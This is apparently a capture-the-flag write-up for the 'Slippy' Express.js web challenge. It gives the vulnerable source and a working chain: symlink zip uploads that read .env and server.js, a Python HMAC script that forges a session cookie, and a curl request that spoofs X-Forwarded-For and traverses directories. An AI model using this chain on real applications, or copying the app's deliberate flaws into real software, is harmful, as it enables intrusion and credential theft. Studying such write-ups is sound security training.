SLIPPY
Slipping Jimmy keeps playing with Finger.
points: 50
solves: 168
handouts: [Dockerfile, src/]
author: Sagi
Challenge Description

├── Dockerfile
└── src
├── .env
├── middleware
│ ├── developmentOnly.js
│ └── session.js
├── package.json
├── package-lock.json
├── public
├── routes
│ └── index.js
├── server.js
├── uploads
└── views
├── files.ejs
├── index.ejs
├── styles.ejs
└── upload.ejsDockerfile:
FROM node:22-bookworm
WORKDIR /app
COPY src/package*.json ./
RUN npm install
COPY src/ .
EXPOSE 3000
RUN rand_dir="/$(head /dev/urandom | tr -dc a-z0-9 | head -c 8)"; mkdir "$rand_dir" && echo "TFCCTF{Fake_fLag}" > "$rand_dir/flag.txt" && chmod -R +r "$rand_dir"
CMD ["npm", "start"].env:
SESSION_SECRET=<REDACTED>server.js:
const express = require('express');
const session = require('express-session');
const path = require('path');
const fs = require('fs');
require('dotenv').config();
const app = express();
// Middleware
app.use(express.urlencoded({ extended: false }));
app.use(express.static('public'));
// Session
const store = new session.MemoryStore();
const sessionData = {
cookie: {
path: '/',
httpOnly: true,
maxAge: 1000 * 60 * 60 * 48 // 1 hour
},
userId: 'develop'
};
store.set('<REDACTED>', sessionData, err => {
if (err) console.error('Failed to create develop session:', err);
else console.log('Development session created!');
});
app.use(session({
secret: process.env.SESSION_SECRET,
resave: false,
saveUninitialized: false,
store: store
}));
app.set('view engine', 'ejs');
app.set('views', path.join(__dirname, 'views'));
app.set('trust proxy', true);
// Ensure uploads dir exists
const uploadsDir = path.join(__dirname, 'uploads');
if (!fs.existsSync(uploadsDir)) fs.mkdirSync(uploadsDir);
// Routes
const indexRoutes = require('./routes/index');
app.use('/', indexRoutes);
app.listen(3000, () => {
console.log('Server running at http://localhost:3000');
});index.js:
const express = require('express');
const multer = require('multer');
const path = require('path');
const { execFile } = require('child_process');
const fs = require('fs');
const ensureSession = require('../middleware/session');
const developmentOnly = require('../middleware/developmentOnly');
const router = express.Router();
router.use(ensureSession);
const upload = multer({ dest: '/tmp' });
router.get('/', (req, res) => {
res.render('index', { sessionId: req.session.userId });
});
router.get('/upload', (req, res) => {
res.render('upload');
});
router.post('/upload', upload.single('zipfile'), (req, res) => {
const zipPath = req.file.path;
const userDir = path.join(__dirname, '../uploads', req.session.userId);
fs.mkdirSync(userDir, { recursive: true });
// Command: unzip temp/file.zip -d target_dir
execFile('unzip', [zipPath, '-d', userDir], (err, stdout, stderr) => {
fs.unlinkSync(zipPath); // Clean up temp file
if (err) {
console.error('Unzip failed:', stderr);
return res.status(500).send('Unzip error');
}
res.redirect('/files');
});
});
router.get('/files', (req, res) => {
const userDir = path.join(__dirname, '../uploads', req.session.userId);
fs.readdir(userDir, (err, files) => {
if (err) return res.status(500).send('Error reading files');
res.render('files', { files });
});
});
router.get('/files/:filename', (req, res) => {
const userDir = path.join(__dirname, '../uploads', req.session.userId);
const requestedPath = path.normalize(req.params.filename);
const filePath = path.resolve(userDir, requestedPath);
// Prevent path traversal
if (!filePath.startsWith(path.resolve(userDir))) {
return res.status(400).send('Invalid file path');
}
if (fs.existsSync(filePath) && fs.statSync(filePath).isFile()) {
res.download(filePath);
} else {
res.status(404).send('File not found');
}
});
router.get('/debug/files', developmentOnly, (req, res) => {
const userDir = path.join(__dirname, '../uploads', req.query.session_id);
fs.readdir(userDir, (err, files) => {
if (err) return res.status(500).send('Error reading files');
res.render('files', { files });
});
});
module.exports = router;session.js:
const crypto = require('crypto');
const path = require('path');
const fs = require('fs');
const USER_ID_REGEX = /^[a-f0-9]{16}$/;
function isValidUserId(id) {
return id === 'develop' || USER_ID_REGEX.test(id);
}
module.exports = function (req, res, next) {
if (!isValidUserId(req.session.userId)) {
req.session.userId = crypto.randomBytes(8).toString('hex');
}
const userDir = path.join(__dirname, '../uploads', req.session.userId);
fs.mkdirSync(userDir, { recursive: true });
next();
};developmentOnly.js:
module.exports = function (req, res, next) {
if (req.session.userId === 'develop' && req.ip == '127.0.0.1') {
return next();
}
res.status(403).send('Forbidden: Development access only');
};Solution
From dockerfile, we can see that the flag is stored in a directory with a random name
About the endpoints:
/upload: Used to upload a zip file, which is unzipped and the files are stored in../upload/<userId>/files: Shows the list of files in../upload/<userId>/files:filename: Downloads the file specified. Potential path traversal is not possible here/debug/files?session_id=<dirname>: Shows the files in the../upload/<dirname>directory. Potential path traversal endpoint but is protected bydevelopmentOnlymiddleware
developmentOnly middleware allows access only if:
req.ip == '127.0.0.1': We can seeapp.set('trust proxy', true);inserver.js, this means that the server will trust the X-Forwarded-* headersreq.session.userId === 'develop': We must forge a cookie that would bypass this. For that, we need the redacted sessionId inserver.jsand the redected secret in.env
Craft a malicious zip file, containing symlinks to .env, server.js
ln -s /app/.env envlink
ln -s /app/server.js serverlink
zip --symlinks exploit.zip envlink serverlinkUploading this zip file gives us the .env & server.js at the server

store.set(‘amwvsLiDgNHm2XXfoynBUNRA2iWoEH5E’, sessionData, err => {
SESSION_SECRET=3df35e5dd772dd98a6feb5475d0459f8e18e08a46f48ec68234173663fca377b
Forge a cookie:
import hmac, hashlib, base64
secret = b"3df35e5dd772dd98a6feb5475d0459f8e18e08a46f48ec68234173663fca377b"
sid = "amwvsLiDgNHm2XXfoynBUNRA2iWoEH5E"
sig = hmac.new(secret, sid.encode(), hashlib.sha256).digest()
sig_b64 = base64.b64encode(sig).decode().rstrip("=")
cookie = f"s:{sid}.{sig_b64}"
print("connect.sid=" + cookie)List the files/directories in the / directory
curl https://web-slippy-d07ebf9335bd26f7.challs.tfcctf.com/debug/files?session_id=../../../ \
-H "Cookie: connect.sid=s:amwvsLiDgNHm2XXfoynBUNRA2iWoEH5E.R3H281arLqbqxxVlw9hWgdoQRZpcJElSLSSn6rdnloE" \
-H "X-Forwarded-For: 127.0.0.1"We find the flag directory:
<li class="list-group-item">
tlhedn6f
<a href="/files/tlhedn6f" class="button">Download</a>
</li>Symlink attack again:
ln -s /tlhedn6f/flag.txt flaglink
zip --symlinks flag.zip flaglinkUpload the zip and download the “flaglink” file -> this gives the flag